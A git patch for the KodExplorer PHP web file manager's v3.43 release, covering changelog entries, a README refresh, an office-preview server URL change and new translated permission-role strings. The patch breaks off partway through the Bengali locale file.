From d8d9b22f1d46cbd043937c05c8033fd60a272468 Mon Sep 17 00:00:00 2001 From: warlee <824691958@qq.com> Date: Wed, 12 Apr 2017 20:16:09 +0800 Subject: [PATCH] v3.43 release --- ChangeLog.md | 32 +- README.md | 349 ++++++++++--------- config/config.php | 2 +- config/i18n/ar/main.php | 28 +- config/i18n/bg/main.php | 28 +- config/i18n/bn/main.php | 28 +- config/i18n/ca/main.php | 28 +- config/i18n/cs/main.php | Bin 41767 -> 44181 bytes config/i18n/da/main.php | Bin 40458 -> 42781 bytes config/i18n/de/main.php | Bin 42815 -> 45291 bytes config/i18n/el/main.php | 28 +- config/i18n/en/main.php | 28 +- config/i18n/es/main.php | 28 +- config/i18n/et/main.php | Bin 39939 -> 42235 bytes config/i18n/fa/main.php | 28 +- config/i18n/fi/main.php | Bin 41014 -> 43393 bytes config/i18n/fr/main.php | Bin 43934 -> 46565 bytes config/i18n/gl/main.php | Bin 42224 -> 44704 bytes config/i18n/hi/main.php | 28 +- config/i18n/hr/main.php | Bin 41181 -> 43582 bytes config/i18n/hu/main.php | Bin 42680 -> 45226 bytes config/i18n/id/main.php | Bin 40756 -> 43162 bytes config/i18n/it/main.php | Bin 42707 -> 45226 bytes config/i18n/ja/main.php | 28 +- config/i18n/ko/main.php | Bin 42962 -> 45398 bytes config/i18n/lt/main.php | Bin 42580 -> 45029 bytes config/i18n/nl/main.php | Bin 41546 -> 43926 bytes config/i18n/no/main.php | Bin 40600 -> 42920 bytes config/i18n/pl/main.php | Bin 42256 -> 44728 bytes config/i18n/pt/main.php | Bin 42579 -> 45116 bytes config/i18n/ro/main.php | Bin 43257 -> 45826 bytes config/i18n/ru/main.php | 28 +- config/i18n/si/main.php | 28 +- config/i18n/sk/main.php | Bin 41985 -> 44426 bytes config/i18n/sl/main.php | Bin 40578 -> 42918 bytes config/i18n/sr/main.php | 28 +- config/i18n/sv/main.php | Bin 41060 -> 43422 bytes config/i18n/ta/main.php | 28 +- config/i18n/th/main.php | 28 +- config/i18n/tr/main.php | Bin 41144 -> 43507 bytes config/i18n/uk/main.php | 28 +- config/i18n/uz/main.php | Bin 41818 -> 44165 bytes config/i18n/vi/main.php | Bin 45086 -> 47876 bytes config/i18n/zh-CN/main.php | 28 +- config/i18n/zh-TW/main.php | 28 +- config/setting.php | 88 +++-- config/version.php | 2 +- controller/explorer.class.php | 88 +++-- controller/setting.class.php | 15 +- controller/system_member.class.php | 19 +- controller/system_role.class.php | 52 +++ controller/util.php | 10 +- lib/class/.cache_data | 4 +- lib/class/archiveLib/bin/rar | Bin 384224 -> 303288 bytes lib/class/archiveLib/bin/rar.exe | Bin 378368 -> 562064 bytes lib/class/archiveLib/kodRarArchive.class.php | 32 +- lib/class/fileCache.class.php | 13 +- lib/function/common.function.php | 4 +- lib/function/file.function.php | 5 +- lib/plugins/pdfjs/web/viewer.html | 4 +- lib/update.php | 4 - static/js/app/src/app/main.js | 8 +- static/js/app/src/desktop/main.js | 18 +- static/js/app/src/edit/main.js | 8 +- static/js/app/src/editor/main.js | 14 +- static/js/app/src/explorer/main.js | 18 +- static/js/app/src/explorer_wap/main.js | 8 +- static/js/app/src/setting/main.js | 12 +- static/js/app/src/share_editor/main.js | 12 +- static/js/app/src/share_explorer/main.js | 16 +- static/js/app/src/share_index/main.js | 8 +- static/js/app/src/user/main.js | 8 +- static/js/lib/util.js | 45 +-- static/style/skin/alpha_image.css | 4 +- static/style/skin/alpha_image_sky.css | 4 +- static/style/skin/alpha_image_sun.css | 4 +- static/style/skin/base/app_code_edit.css | 6 +- static/style/skin/base/app_desktop.css | 6 +- static/style/skin/base/app_editor.css | 6 +- static/style/skin/base/app_explorer.css | 8 +- static/style/skin/base/app_setting.css | 6 +- static/style/skin/diy.css | 4 +- static/style/skin/mac.css | 4 +- static/style/skin/metro.css | 4 +- static/style/skin/metro_green.css | 4 +- static/style/skin/metro_orange.css | 4 +- static/style/skin/metro_pink.css | 4 +- static/style/skin/metro_purple.css | 4 +- static/style/skin/win10.css | 4 +- static/style/skin/win7.css | 6 +- template/explorer/content.php | 8 +- template/explorer/index_wap.php | 1 - template/user/install.html | 2 +- template/user/login.html | 2 +- 94 files changed, 1072 insertions(+), 425 deletions(-) diff --git a/ChangeLog.md b/ChangeLog.md index 434272c..812de70 100755 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -1,8 +1,7 @@ -### ver3.42 `2017/4/3` +### ver3.43 `2017/4/9` ----- #### update: - 安全防护;全面防护csrf攻击;安全性提升。 -- 设置增加:全局css|全局js[统计代码]; 【清空缓存】;自定义程序logo支持图片 - 高并发下:用户数据文件读写异常处理 - 上传优化: 文件权限设置644->755;大文件分片上传优化;ie浏览器兼容处理;上传失败自动重传机制加入 - 文件编辑:换行切换为\r\n;兼容windows记事本;标签右键菜单图标样式问题 @@ -11,11 +10,22 @@ - 对话框icon点击菜单,双击icon关闭 - 分配了权限组添加用户权限:但提示没有权限。 - 关闭了下载权限:允许文件预览、pdf、office预览等;屏蔽pdfjs上的下载按钮; -- 快捷键新增:shift+delete 直接删除;alt+enter查看文件属性;alt+left alt+right 历史记录前进后退 -- 编辑器隐藏时;打开文件自动显示到最上层 +- 快捷键新增:shift+delete 直接删除;alt+enter查看文件属性;alt+left alt+right 历史记录前进后退; +- shift + 右键菜单彻底删除;删除提示加入文件名; +- 编辑器隐藏时;打开文件自动显示到最上层 - 文件管理:复制快捷键允许冒泡;允许快捷键复制选中的文字 - 壁纸自动下载文件夹放置在桌面下;桌面支持自定义中文文件夹 - IE浏览器样式兼容性调整。 +- 文件右键——浏览器打开所有用户开启。 +- markdown预览优化:h1 下划线;预览最大化——禁用左右分栏; +- 服务端强制设置了cookie为httpOnly导致csrf-token获取失败问题兼容性调整;语言切换失败问题 +- 收藏夹树目录:文件夹右键菜单加入文件夹对应功能,不存在则红色显示;可以拖拽文件到收藏夹的文件夹 +- 其他细节优化:样式优化,win7主题播放器样式优化; +- 设置加入: + - 自定义全局css|全局js[统计代码] + - 公共目录展示用户开关配置,默认展示所有用户; + - 授权用户:根目录是否组展示子组开关,默认不展示 + - 其他:清空缓存,清空所有用户回收站;自定义程序logo支持图片 - 移动端优化: - 上传窗口大小优化;移动端下载功能处理;iphone拍照上传文件自动重命名 - 下拉菜单:新建文件加入;失去焦点隐藏; @@ -23,12 +33,15 @@ - 分享文件夹搜索问题解决 - 左侧目录目录列表和pc端一级目录统一 - 分享页面文件打开未知文件,点击下载跳转到登陆页问题 + - android音视频播放优化 + - android文件下载;文件名去除*filename - 在线解压缩全面支持 - 支持压缩为zip,tar,gz,tar.gz格式文件 - 单选,多选右键菜单自动压缩指定内容 - 右键菜单自动关联压缩文件:支持扩展名zip;tar;tar.gz,tgz,rar,7z,apk,ipa - 压缩乱码解决:压缩包内中文跨系统支持自动识别,解压缩自动重命名为当前系统编码 + - rar解压支持rar5;mac系统解压缩支持作为插件单独存在; - 在线预览 - 支持zip,rar,7z,gz,tar,tgz等格式在线预览,在线解压; - 自动编码识别:[gbk,utf-8];zip,tar,gz,tgz,rar,7z...;windows,linux(centos,debain) @@ -42,6 +55,12 @@ - 解压文件、文件夹到:当前目录,自定义目录; - 文件管理解压后,刷新并自动选择内容;编辑器打开则刷新父目录 - 场景和权限:当前目录不可写隐藏『解压到当前』;分享页面隐藏解压功能; +群组文档权限配置; + - 后端权限组安全性优化,简化逻辑流程 + - 群组角色管理:添加,编辑,修改,删除【隐藏&标签样式】 + - 设置用户群组角色:管理处label样式展示;下拉选择;多语言 + - 前端展示:树目录icon read&write区分弱化;地址栏后label展示为label样式;label显示隐藏统一优化 + - 没有权限优化:新建文件&新建文件夹&重命名文件; - 运行异常检测并提示 - 解压缩出错处理;不支持检测;shell_exec防注入处理 - 函数检测 gzopen,gzinflate;[不支持则不能解压] @@ -63,7 +82,10 @@ - 修复safari音视频播放不了问题;下载断点续传逻辑优化 - 多选右键操作;父子文件夹包含问题误判解决 - 解压文件权限判断错误:压缩文件目录不可写,解压到某个文件夹可写 - +- 手动覆盖更新update更新文件没有删除自己权限问题解决。 +- 多选下载加入防跨站请求token +- safari 搜索打开图片文件宽高为0问题解决 +- 共享页面打开pdf文件预览优化. ### ver3.41 `2017/3/5` diff --git a/README.md b/README.md index 757498c..7993743 100755 --- a/README.md +++ b/README.md @@ -1,173 +1,176 @@ -# KodExplorer - -[![Home page](https://img.shields.io/badge/home-page-yellow.svg?style=flat)](http://kalcaddle.com) [![GPLV3 License](https://img.shields.io/badge/Licence-GPLV3-green.svg?style=flat)](http://kalcaddle.com) [![Download](http://kalcaddle.com/tools/version/?analyze/download)](https://github.com/kalcaddle/KODExplorer/archive/master.zip) - -> KodExplorer is a file manager for web. It is also a web IDE / browser based code editor, which allows you to develop websites directly within the web browser.You can run KodExplorer either online or locally,on Linux, Windows or Mac based platforms. The only requirement is to have PHP 5 available. - -![](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/common2.png) -![](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/common3.png) - - -### [Demo](http://demo.kalcaddle.com/) [user: demo/demo] ------ -- [Change log](./ChangeLog.md) -- [English Document](http://kalcaddle.com#lang=en) -- [中文文档](http://kalcaddle.com/#lang=zh_CN) -- [Donate](https://www.paypal.me/kalcaddle) - -# Features -- Use experience like operating system, Rich context menu and toolbar, drag and drop, shortcut keys...... -- Available in more than 40 languages. -- File Manage - - All operations with files and folders on a remote server(copy,cute,paste,move,remove,upload,create folder/file,rename,etc.) - - Multi-User support,custom role group. - - Flexible configuration of access rights,file types restriction, user - interface and other - - Clipboard: copy, cut, paste, clear - - Selectable files & folders support (mouse click & Ctrl & Shift & words & Keyboard shortcuts) - - Keyboard shortcuts: delete deletion, ctrl+A select, ctrl+C replication, ctrl+X splicing, up/down/left/right/home/end etc. - - Multiple actions support for selected files & folders: move,copy,cute,remove,rename,open,archive,delete,download etc. - - Double or single click setup to open files & folders - - Filetree: allow to open and display multiple subfolders at a time - - Implemented natural sorting on the client-side - - List,Icons and Split view; - - Move/Copy/Clone/Delete files with Drag & Drop - - Share files or folder to others. - - Add folder to your favorites - - Calculate directory sizes - - Thumbnails for image files - - Normalizer:UTF-8 Normalizer of file-name and file-path etc. - - Muti Charset support, in a variety of circumstances garbled solution;Sanitizer of file-name and file-path etc. - - Multiple & chunked uploads support, - - Background file upload with Drag & Drop HTML5 support;Folder upload with Chrome, Firefox and Edge - - Upload form URL (or list) - - Direct extraction to the current working directory (you do not want - to create a folder) - - Search: search by filename & file contents - - File exclusion based on name - - Copy direct file URL - - Archives create/extract/preview (zip, rar, 7z, tar, gzip, tgz) - - Quicklook, preview for common file types; image file,text file,pdf,swf,document file etc. - - Video and audio player relying on web browser capabilities -- Editor - - Syntax highlighting for over 120 languages - - Multiple label, Drag & Drop the label. - - Over 15 themes,Choose your favorite programming style - - Web development: HTML/JS/CSS editor with Emmet integrated - - Automatic indent and outdent;Line wrapping;Code folding - - Multiple cursors and selections;(Middle key select;Ctrl+Command+G) - - Autocomplete. - - Fully customizable key bindings including vim and Emacs modes - - Search and replace with regular expressions;Highlight matching parentheses - - Toggle between soft tabs and real tabs - - Displays hidden characters - - Drag and drop text using the mouse - - Live syntax checker (JavaScript/CoffeeScript/CSS/XQuery/HTML/PHP etc.) - - Cut, copy, and paste functionality - - Markdown support.(live preview;convert to html etc.) - - Format: JavaScript/CSS/HTML/JSON/PHP etc. - - Cross-platform, even on mobile devices - - Easy to integrate with other systems - - Developed by kod itself, this is a nice try. - - -# Install - -**1. Install from source** -``` -git clone https://github.com/kalcaddle/KODExplorer.git -chmod -Rf 777 ./KODExplorer/* -``` - -**2. Install via download** -``` -wget https://github.com/kalcaddle/KODExplorer/archive/master.zip -unzip master.zip -chmod -Rf 777 ./* -``` - - - -# FAQs - -* Forget password - > Login page: see the "Forget password". - -* Upload with Drag & Drop - > Browser compatibility: Chrome, Firefox and Edge - -* How to make the system more secure? - > Make sure the administrator password is more complex. - > Open login verification code. - > Set the http server to not allow list the directory; - > PHP Security:Set the path for open_basedir. - -# Screenshot -### file manage: -- Overview -![Overview](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file.png) -- File list Type (icon,list,split) -![File list Type](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-resize.png) -- Archives create/extract/preview (zip, rar, 7z, tar, gzip, tgz) -![Archives create/extract/preview](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-unzip.png) -- Drag upload -![Drag upload](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-upload-drag.png) -- Player -![Player](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-player.png) - -### Editor: -- Overview -![Overview](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/editor.png) -- Live preview -![Live preview](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/editor-preview.png) -- Search folder -![Search folder](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/editor-search.png) -- Markdown -![Markdown](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-markdown.png) -- Code style -![Code style](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/editor-theme.png) - - -### Others: -- System role -![System role](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/system-role.png) -- Colorful Theme -![Colorful Theme](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/system-theme.png) -- Custom Theme -![Custom Theme](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/common-alpha.png) -- Language -![Language](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/language.png) - - - - -# Software requirements -- Server: - - Windows,Linux,Mac ... - - PHP 5.0+ - - Database: File system driver;sqlite;mysql;... -- Browser compatibility: - - Chrome - - Firefox - - Opera - - IE8+ -> Tips: It can also run on a router, or your home NAS - - -# Credits -kod is made possible by the following open source projects. - -* [seajs](https://github.com/seajs/seajs) -* [jQuery](https://github.com/jquery/jquery) -* [ace](https://github.com/ajaxorg/ace) -* [zTree](https://github.com/zTree/zTree_v3) -* [webuploader](https://github.com/fex-team/webuploader) -* [artTemplate](http://aui.github.com/artTemplate/) -* [artDialog](https://github.com/aui/artDialog) -* [jQuery-contextMenu](http://medialize.github.com/jQuery-contextMenu/) -* ... - - - -# License -kodexplorer is issued under GPLv3. license.[License](http://kalcaddle.com/tools/licenses/license.txt) -Contact: kalcaddle#qq.com -Copyright (C) 2013 kalcaddle.com +# KodExplorer + +[![Home page](https://img.shields.io/badge/home-page-yellow.svg?style=flat)](http://kalcaddle.com) [![GPLV3 License](https://img.shields.io/badge/Licence-GPLV3-green.svg?style=flat)](http://kalcaddle.com) [![Download](http://kalcaddle.com/tools/version/?analyze/download)](https://github.com/kalcaddle/KODExplorer/archive/master.zip) + +> KodExplorer is a file manager for web. It is also a web IDE / browser based code editor, which allows you to develop websites directly within the web browser.You can run KodExplorer either online or locally,on Linux, Windows or Mac based platforms. The only requirement is to have PHP 5 available. + +![](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/common2.png) +![](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/common3.png) + + +### [Demo](http://demo.kalcaddle.com/) [user: demo/demo] +----- +- [Change log](./ChangeLog.md) +- [English Document](http://kalcaddle.com#lang=en) +- [中文文档](http://kalcaddle.com/#lang=zh_CN) +- [Donate](https://www.paypal.me/kalcaddle) + +# Features +- Use experience like operating system, Rich context menu and toolbar, drag and drop, shortcut keys...... +- Available in more than 40 languages. +- File Manage + - All operations with files and folders on a remote server(copy,cute,paste,move,remove,upload,create folder/file,rename,etc.) + - Multi-User support,custom role group. + - Flexible configuration of access rights,file types restriction, user - interface and other + - Clipboard: copy, cut, paste, clear + - Selectable files & folders support (mouse click & Ctrl & Shift & words & Keyboard shortcuts) + - Keyboard shortcuts: delete deletion, ctrl+A select, ctrl+C replication, ctrl+X splicing, up/down/left/right/home/end etc. + - Multiple actions support for selected files & folders: move,copy,cute,remove,rename,open,archive,delete,download etc. + - Double or single click setup to open files & folders + - Filetree: allow to open and display multiple subfolders at a time + - Implemented natural sorting on the client-side + - List,Icons and Split view; + - Move/Copy/Clone/Delete files with Drag & Drop + - Share files or folder to others. + - Add folder to your favorites + - Calculate directory sizes + - Thumbnails for image files + - Normalizer:UTF-8 Normalizer of file-name and file-path etc. + - Muti Charset support, in a variety of circumstances garbled solution;Sanitizer of file-name and file-path etc. + - Multiple & chunked uploads support, + - Background file upload with Drag & Drop HTML5 support;Folder upload with Chrome, Firefox and Edge + - Upload form URL (or list) + - Direct extraction to the current working directory (you do not want - to create a folder) + - Search: search by filename & file contents + - File exclusion based on name + - Copy direct file URL + - Archives create/extract/preview (zip, rar, 7z, tar, gzip, tgz) + - Quicklook, preview for common file types; image file,text file,pdf,swf,document file etc. + - Video and audio player relying on web browser capabilities +- Editor + - Syntax highlighting for over 120 languages + - Multiple label, Drag & Drop the label. + - Over 15 themes,Choose your favorite programming style + - Web development: HTML/JS/CSS editor with Emmet integrated + - Automatic indent and outdent;Line wrapping;Code folding + - Multiple cursors and selections;(Middle key select;Ctrl+Command+G) + - Autocomplete. + - Fully customizable key bindings including vim and Emacs modes + - Search and replace with regular expressions;Highlight matching parentheses + - Toggle between soft tabs and real tabs + - Displays hidden characters + - Drag and drop text using the mouse + - Live syntax checker (JavaScript/CoffeeScript/CSS/XQuery/HTML/PHP etc.) + - Cut, copy, and paste functionality + - Markdown support.(live preview;convert to html etc.) + - Format: JavaScript/CSS/HTML/JSON/PHP etc. + - Cross-platform, even on mobile devices + - Easy to integrate with other systems + - Developed by kod itself, this is a nice try. + + +# Install + +**1. Install from source** +``` +git clone https://github.com/kalcaddle/KODExplorer.git +chmod -Rf 777 ./KODExplorer/* +``` + +**2. Install via download** +``` +wget https://github.com/kalcaddle/KODExplorer/archive/master.zip +unzip master.zip +chmod -Rf 777 ./* +``` + + + +# FAQs + +* Forget password + > Login page: see the "Forget password". + +* Upload with Drag & Drop + > Browser compatibility: Chrome, Firefox and Edge + +* How to make the system more secure? + > Make sure the administrator password is more complex. + > Open login verification code. + > Set the http server to not allow list the directory; + > PHP Security:Set the path for open_basedir. + +# Screenshot +### file manage: +- Overview +![Overview](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file.png) +- File list Type (icon,list,split) +![File list Type](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-resize.png) +- Archives create/extract/preview (zip, rar, 7z, tar, gzip, tgz) +![Archives create/extract/preview](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-unzip.png) +- Drag upload +![Drag upload](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-upload-drag.png) +- Player +![Player](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-player.png) +- Online Office view & Editor +![Online Office](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-open-pptx.png) + + +### Editor: +- Overview +![Overview](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/editor.png) +- Live preview +![Live preview](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/editor-preview.png) +- Search folder +![Search folder](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/editor-search.png) +- Markdown +![Markdown](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/file-markdown.png) +- Code style +![Code style](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/editor-theme.png) + + +### Others: +- System role +![System role](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/system-role.png) +- Colorful Theme +![Colorful Theme](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/system-theme.png) +- Custom Theme +![Custom Theme](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/common-alpha.png) +- Language +![Language](https://raw.githubusercontent.com/kalcaddle/static/master/images/kod/language.png) + + + + +# Software requirements +- Server: + - Windows,Linux,Mac ... + - PHP 5.0+ + - Database: File system driver;sqlite;mysql;... +- Browser compatibility: + - Chrome + - Firefox + - Opera + - IE8+ +> Tips: It can also run on a router, or your home NAS + + +# Credits +kod is made possible by the following open source projects. + +* [seajs](https://github.com/seajs/seajs) +* [jQuery](https://github.com/jquery/jquery) +* [ace](https://github.com/ajaxorg/ace) +* [zTree](https://github.com/zTree/zTree_v3) +* [webuploader](https://github.com/fex-team/webuploader) +* [artTemplate](http://aui.github.com/artTemplate/) +* [artDialog](https://github.com/aui/artDialog) +* [jQuery-contextMenu](http://medialize.github.com/jQuery-contextMenu/) +* ... + + + +# License +kodexplorer is issued under GPLv3. license.[License](http://kalcaddle.com/tools/licenses/license.txt) +Contact: kalcaddle#qq.com +Copyright (C) 2013 kalcaddle.com diff --git a/config/config.php b/config/config.php index 2a39421..f10115c 100755 --- a/config/config.php +++ b/config/config.php @@ -54,7 +54,7 @@ define('LANGUAGE_PATH', BASIC_PATH .'config/i18n/');//多语言目录 define('SESSION_ID','KOD_SESSION_ID_'.substr(md5(BASIC_PATH),0,5)); define('KOD_SESSION', DATA_PATH .'session/'); //session目录 -define('OFFICE_SERVER',"https://owa-box.vips100.com/op/view.aspx?src="); +define('OFFICE_SERVER',"http://preview.tita.com/op/view.aspx?src="); // https://owa-box.vips100.com/op/view.aspx?src= // http://preview.tita.com/op/view.aspx?src= // https://docview.mingdao.com/op/view.aspx?src= diff --git a/config/i18n/ar/main.php b/config/i18n/ar/main.php index 271c8a7..70405c6 100755 --- a/config/i18n/ar/main.php +++ b/config/i18n/ar/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "إضافة الهوية دور", "system_role_read" => "قراءة فقط", "system_role_write" => "يمكن القراءة والكتابة", + "system_setting_root_path" => "وصول الجذر", + "system_setting_root_path_desc" => "مسؤول النظام فقط يمكن الوصول إلى كافة الدلائل، يمكن للجماعات حقوقية أخرى من المستخدمين ترى سوى دليل المستخدم الخاص بهم. إذا كنت ترغب في تشغيل أو إيقاف وصول المسؤول
إلى الدلائل الأخرى، يمكنك تعديل فب open_basedir المعلمات مكافحة المواقع المشتركة،وضع", + "system_group_role_title" => "فريق إدارة ضوابط دور", + "system_group_role_remove" => "موافق لحذف دور المجموعات", + "system_group_role_style" => "أسلوب", + "system_group_role_display" => "سواء", + "system_group_role_display_desc" => "إذا كان أذونات المستخدم إعداد مجموعة", + "role_type_name_read" => "قرأ", + "role_type_name_read:list" => "قائمة ملف", + "role_type_name_read:info" => "ملف (مجلد) خاصية عرض، بحث مجلد", + "role_type_name_read:copy" => "نسخ ملف", + "role_type_name_read:preview" => "معاينة الصورة (الصور والوثائق والفيديو والصوت)", + "role_type_name_read:download" => "ملف (مجلد) تحميل", + "role_type_name_write" => "إرسال", + "role_type_name_write:add" => "إنشاء ملف (مجلد)، استخراج ملف مضغوط", + "role_type_name_write:edit" => "حفظ الملف إلى تعديل", + "role_type_name_write:change" => "إعادة تسمية، وضبط بنية الدليل", + "role_type_name_write:upload" => "ملف (مجلد) تحميل وتنزيل عن بعد", + "role_type_name_write:remove" => "ملف (مجلد) حذف، وقطع", + "group_guest" => "آخر", + "group_guest_desc" => "أنت لست عضوا في هذه المجموعة،
الوصول فقط إلى [المجموعة الدليل المشترك] التالية، والوصول للقراءة فقط.", + "group_role_lebel_desc" => "كنت عضوا في المجموعة، ضمن وثائق مجموعة
جميع حقوق العاملة المخصصة من قبل المسؤول يونيو", "button_save_and_add" => "حفظ والاستمرار في إضافة", "path_cannot_search" => "الدليل لا يدعم البحث!", "not_support" => "غير معتمدة!", @@ -254,6 +276,10 @@ return array( "login_code" => "رموز", "need_check_code" => "رمز التوثيق الدخول المفتوح", "login_rember_password" => "تذكر كلمة المرور", + "setting_show_root_group" => "قائمة جميع الفئات", + "setting_show_root_group_desc" => "يتم سرد شجرة مجموعة الدليل الجذر جميع الفئات", + "setting_show_share_user" => "قائمة جميع المستخدمين", + "setting_show_share_user_desc" => "دليل جذر شجرة من كل مستخدمين تبادل يتم سرد مجموعة", "setting_clear_user_recycle" => "إفراغ سلة المحذوفات لجميع المستخدمين", "setting_clear_cache" => "إفراغ ذاكرة التخزين المؤقت", "setting_icp" => "حقوق الطبع والنشر أو سجل رقم", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "الحد الأقصى المسموح به", "upload_size_info" => "إذا كنت ترغب في تكوين المزيد، يرجى تعديل الحد الأقصى المسموح PHP.INI تحميل. عند تحديد ملف أكبر من هذا التكوين يتم تصفيتها تلقائيا.", "upload_error" => "فشل تحميل", - "upload_error_http" => "فشلت بسبب الشبكة أو جدار الحماية تحميل!", + "upload_error_http" => "شبكة أو جدار حماية أخطاء", "upload_muti" => "تحميل متعددة ملف", "upload_drag" => "سحب وإسقاط تحميل", "upload_drag_tips" => "تخفيف لتحميل!", diff --git a/config/i18n/bg/main.php b/config/i18n/bg/main.php index 97f2348..00ddb20 100755 --- a/config/i18n/bg/main.php +++ b/config/i18n/bg/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "Добави Роля Identity", "system_role_read" => "Само за четене", "system_role_write" => "Може да чете и да пише", + "system_setting_root_path" => "достъп Root", + "system_setting_root_path_desc" => "Само системен администратор може да получите достъп до всички директории, групи други права на потребители могат да виждат само собствените си потребителски директории. Ако искате да включите или изключите
администраторски достъп до други директории, можете да промените РНР open_basedir параметри анти-между сайтове,настроен", + "system_group_role_title" => "Група за управление на Разрешения Роля", + "system_group_role_remove" => "Спокойно можете да изтриете ролята на група", + "system_group_role_style" => "стил", + "system_group_role_display" => "дали", + "system_group_role_display_desc" => "Дали обстановката група разрешения на потребител", + "role_type_name_read" => "чета", + "role_type_name_read:list" => "Списък на файловете", + "role_type_name_read:info" => "File (папка) имот View, търсене Папка", + "role_type_name_read:copy" => "архивен екземпляр", + "role_type_name_read:preview" => "Визуализацията на файла (снимки, документи, аудио и видео)", + "role_type_name_read:download" => "File (папка) Изтегли", + "role_type_name_write" => "пиша", + "role_type_name_write:add" => "Създаване на файл (папка), извличане на компресиран файл", + "role_type_name_write:edit" => "Запазете файла за редактиране", + "role_type_name_write:change" => "Преименуване, коригира структурата на директория", + "role_type_name_write:upload" => "File (папка) да качвате, дистанционно изтегляне", + "role_type_name_write:remove" => "File (папка) изтриване, нарязани", + "group_guest" => "посетители", + "group_guest_desc" => "Вие не сте член на тази група,
достъп само до [груповата поделената директория] след, достъп само за четене.", + "group_role_lebel_desc" => "Вие сте член на групата, в рамките на документация групата
за всички операционни права, предоставени от администратора юни", "button_save_and_add" => "Запазване и продължаване, за да добавите", "path_cannot_search" => "Директорията не поддържа търсенето!", "not_support" => "Не се поддържа!", @@ -254,6 +276,10 @@ return array( "login_code" => "кодове", "need_check_code" => "код Вход удостоверяване отворен", "login_rember_password" => "Запомни паролата", + "setting_show_root_group" => "Списък на всички групи", + "setting_show_root_group_desc" => "Tree главната директория група е в списъка на всички групи", + "setting_show_share_user" => "Списък на всички потребители", + "setting_show_share_user_desc" => "е вписана групата Tree главната директория на всички потребители споделят", "setting_clear_user_recycle" => "Изпразните кошчето за всички потребители", "setting_clear_cache" => "Изчистване на кеш паметта", "setting_icp" => "Copyright или запис номер", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "Максимално допустимото", "upload_size_info" => "Ако искате да изберете повече, моля, променете php.ini максимално разрешено качване. Когато изберете даден файл по-голям от тази конфигурация автоматично ще филтрира.", "upload_error" => "неуспешно качване", - "upload_error_http" => "Качването е неуспешно поради мрежа или защитна стена!", + "upload_error_http" => "Мрежовите защитни стени и грешки", "upload_muti" => "Multi-качване на файлове", "upload_drag" => "Плъзгане и пускане на качване", "upload_drag_tips" => "Разхлабете за качване!", diff --git a/config/i18n/bn/main.php b/config/i18n/bn/main.php index d29295e..448ce81 100755 --- a/config/i18n/bn/main.php +++ b/config/i18n/bn/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "ভূমিকা পরিচয় যোগ", "system_role_read" => "Read-only", "system_role_write" => "পড়তে ও লিখতে পারে", + "system_setting_root_path" => "রুট অ্যাক্সেস", + "system_setting_root_path_desc" => "শুধু একজন সিস্টেম প্রশাসকের সব ডিরেক্টরি অ্যাক্সেস করতে পারেন, ব্যবহারকারীরা অন্য অধিকার সংগঠনগুলো শুধুমাত্র তাদের নিজস্ব ব্যবহারকারী ডাইরেক্টরি দেখতে পারেন। আপনার উপর বা অন্যান্য ডিরেক্টরি থেকে
প্রশাসক অ্যাক্সেস বন্ধ করতে চান, আপনি, বিরোধী ক্রস সাইট পরামিতি open_basedir পিএইচপি পরিবর্তন করতে পারেন", + "system_group_role_title" => "দল সংক্রান্ত অনুমতি প্রদান ভূমিকা পরিচালনা", + "system_group_role_remove" => "গ্রুপ ভূমিকা মুছতে ওকে", + "system_group_role_style" => "শৈলী", + "system_group_role_display" => "কিনা", + "system_group_role_display_desc" => "একটি গ্রুপ সেটিং ব্যবহারকারীর অনুমতি কিনা", + "role_type_name_read" => "পড়া", + "role_type_name_read:list" => "ফাইল তালিকা", + "role_type_name_read:info" => "ফাইল (ফোল্ডার) সম্পত্তি ভিউ, ফোল্ডার অনুসন্ধান", + "role_type_name_read:copy" => "ফাইল কপি", + "role_type_name_read:preview" => "ফাইলের পূর্বরূপ (ছবিগুলির, দস্তাবেজ, অডিও এবং ভিডিও)", + "role_type_name_read:download" => "ফাইল (ফোল্ডার) ডাউনলোড", + "role_type_name_write" => "লেখা", + "role_type_name_write:add" => "একটি ফাইল (ফোল্ডার) তৈরি করুন, কম্প্রেস ফাইল নিষ্কর্ষ", + "role_type_name_write:edit" => "ফাইল সংরক্ষণ করুন সম্পাদনা করতে", + "role_type_name_write:change" => ", পুনঃনামকরণ ডিরেক্টরি গঠন সমন্বয়", + "role_type_name_write:upload" => "ফাইল (ফোল্ডার) আপলোড, দূরবর্তী ডাউনলোড", + "role_type_name_write:remove" => "ফাইল (ফোল্ডার) মুছে দিন, কেটে", + "group_guest" => 